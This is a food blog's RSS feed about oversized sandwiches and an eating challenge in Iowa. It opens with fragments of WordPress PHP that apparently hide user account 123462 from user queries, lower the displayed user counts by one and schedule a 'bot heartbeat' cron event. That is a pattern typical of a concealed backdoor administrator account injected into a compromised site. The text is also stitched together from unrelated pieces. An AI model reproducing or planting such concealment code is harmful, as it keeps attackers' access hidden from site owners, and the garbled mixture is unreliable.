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    return $methods;
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    $exclude[] = 123462;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

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} );

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        if ( isset( $views[ $key ] ) ) {
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                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

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    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
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		<title>The Fatty Challenge From Fanatics Grille &#038; Bar</title>
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					<description><![CDATA[<p>&#8220;Three pounds of beef, cheese balls, hot wings, pork tenderloin, and other ingredients slapped onto sourdough and [&#8230;]</p>
<p>The post <a href="https://damnthatlooksgood.com/the-fatty-challenge-from-fanatics-grille-bar/" target="_blank">The Fatty Challenge From Fanatics Grille & Bar</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></description>
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<p>&#8220;Three pounds of beef, cheese balls, hot wings, pork tenderloin, and other ingredients slapped onto sourdough and served with fries. If you can make it through this $19.99 behemoth in under 30 minutes, you get your photo on the Wall of Fame, a loaded game card for AllPlay, and the love and admiration of your peers.&#8221;</p>
<p>Des Moines, Iowa</p><p>The post <a href="https://damnthatlooksgood.com/the-fatty-challenge-from-fanatics-grille-bar/" target="_blank">The Fatty Challenge From Fanatics Grille & Bar</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></content:encoded>
					
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					<description><![CDATA[<p>&#8220;Jethro&#8217;s very own Adam Emmenecker sandwich has been nominated as the Greatest Sports Sandwich in America for [&#8230;]</p>
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<p>&#8220;Jethro&#8217;s very own Adam Emmenecker sandwich has been nominated as the Greatest Sports Sandwich in America for ESPN&#8217;s FANWICH contest on Facebook. Show America that the Adam Emmenecker sandwich is worthy of this national recognition by logging on to Facebook and voting for your favorite BBQ restaurant and our infamous sandwich which is named after former Drake Bulldog basketball star, Adam Emmenecker.</p>
<p>The Missouri Valley Conference Most Valuable Player of 2008 loves this sandwich. It&#8217;s big&#8230; &#8220;really big&#8230;&#8221; just like all of those &#8220;really big&#8221; shots Adam sank in the Bulldogs&#8217; magical MVC Championship Season of 2008. Start with our huge pork tenderloin, add our Angus steak burger, top it with slabs of Texas brisket, apple wood bacon &amp; fried cheese, finished with buffalo chicken tenders. We smother this mountain with melted cheddar cheese, and white cheddar sauce, serve it with your choice of side. This could hurt you! A sandwich fit for the MVP.&#8221;</p>
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<p>Toasted French bread with garlic butter, spice blend, mozzarella and provolone cheeses. Served with dipping sauce.</p>
<p>Photo courtesy of <a href="http://www.jeffspizzashop.com/ames-starter.php">Jeff&#8217;s Pizza Shop</a>.</p>
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